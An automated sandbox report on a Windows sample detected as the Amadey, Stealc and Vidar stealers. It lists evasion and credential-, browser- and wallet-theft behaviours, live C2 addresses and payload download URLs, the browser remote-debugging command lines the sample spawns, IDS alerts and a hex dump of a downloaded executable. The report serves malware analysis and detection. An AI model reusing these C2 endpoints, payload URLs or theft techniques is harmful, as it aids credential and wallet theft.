Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556990
MD5:	9ea9935be7e022c3c028426decbdeadc
SHA1:	719e5cdce4edbb08582914a32a29aae65fa56a5a
SHA256:	6f1cf7e7a7d52a6404f6b5e224cfaa8d6dea2f462ac1ba1cc09ec37ca4ed636f
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2128 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9EA9935BE7E022C3C028426DECBDEADC)

chrome.exe (PID: 3876 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3772 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2212,i,15052726617655152396,536506818659578356,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8108 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2176,i,10427859700933374548,10018492864798821703,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8908 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBAAFIDGDA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsDBAAFIDGDA.exe (PID: 9172 cmdline: "C:\Users\user\DocumentsDBAAFIDGDA.exe" MD5: 6503303FF59D16ED151B805E96A7D413)

skotes.exe (PID: 4404 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6503303FF59D16ED151B805E96A7D413)

msedge.exe (PID: 7360 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7568 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8844 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8876 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6920 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8604 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7116 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8120 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6503303FF59D16ED151B805E96A7D413)

skotes.exe (PID: 748 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6503303FF59D16ED151B805E96A7D413)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000002.2619281872.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2633397436.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.3343411287.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2121691323.0000000005270000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2575163475.0000000000C51000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2518469068.00000000008B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2522496997.000000000137E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2128	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2128	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2128	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.DocumentsDBAAFIDGDA.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.7b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.7b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.7b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2128, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 3876, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:36:13.247242+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:36:13.241480+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:36:13.523864+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:36:14.618817+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:36:13.530926+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:36:12.958994+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:38:05.921400+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49466	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:36:02.930487+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49467	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:38:09.254272+0100	2803305	3	Unknown Traffic	192.168.2.5	49468	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T23:36:15.141060+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T23:36:34.773250+0100	2803304	3	Unknown Traffic	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:36.061737+0100	2803304	3	Unknown Traffic	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:37.751958+0100	2803304	3	Unknown Traffic	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:39.572996+0100	2803304	3	Unknown Traffic	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:41.117982+0100	2803304	3	Unknown Traffic	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:41.788026+0100	2803304	3	Unknown Traffic	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:46.104951+0100	2803304	3	Unknown Traffic	192.168.2.5	49961	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllQ	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe450oie	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe61395d7fRn	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpDisposition:	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exeosoft	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exerlencoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpoR	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe6139Mn	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exeData	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpn)6	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exea5	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllc	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/ons	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpS	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000002.2619281872.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.2128.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C666C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50025 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:50073 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 19MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49466 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49467

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.5:49459 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 22:36:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
